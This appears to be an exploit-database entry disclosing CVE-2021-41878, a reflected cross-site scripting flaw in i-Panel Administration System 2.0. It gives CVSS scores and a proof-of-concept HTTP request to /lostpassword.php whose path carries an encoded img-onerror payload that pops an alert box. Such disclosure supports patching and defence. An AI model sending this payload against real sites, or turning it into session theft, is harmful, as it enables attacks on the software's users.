i-Panel Administration System 2.0 - Reflected Cross-site Scripting Vulnerability

2021-10-1300:00:00

Forster Chiu

0day.today

102

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

JSON

# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)
# Exploit Author: Forster Chiu
# Vendor Homepage: https://www.hkurl.com
# Version: 2.0
# Tested on: Chrome, Edge and Firefox
# CVE: CVE-2021-41878
# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html

As a proof of concept, an alert box can be generated with the following payload.
Exploit PoC:

GET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1
Host: Forster
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Connection: close